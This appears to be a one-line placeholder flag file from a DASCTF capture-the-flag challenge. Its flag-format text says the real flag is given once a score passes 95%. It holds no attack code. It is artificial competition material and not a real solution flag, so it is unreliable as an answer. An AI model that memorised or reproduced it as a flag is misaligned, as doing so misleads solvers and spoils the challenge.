DASCTF{give_you_flag_when_score>95%}



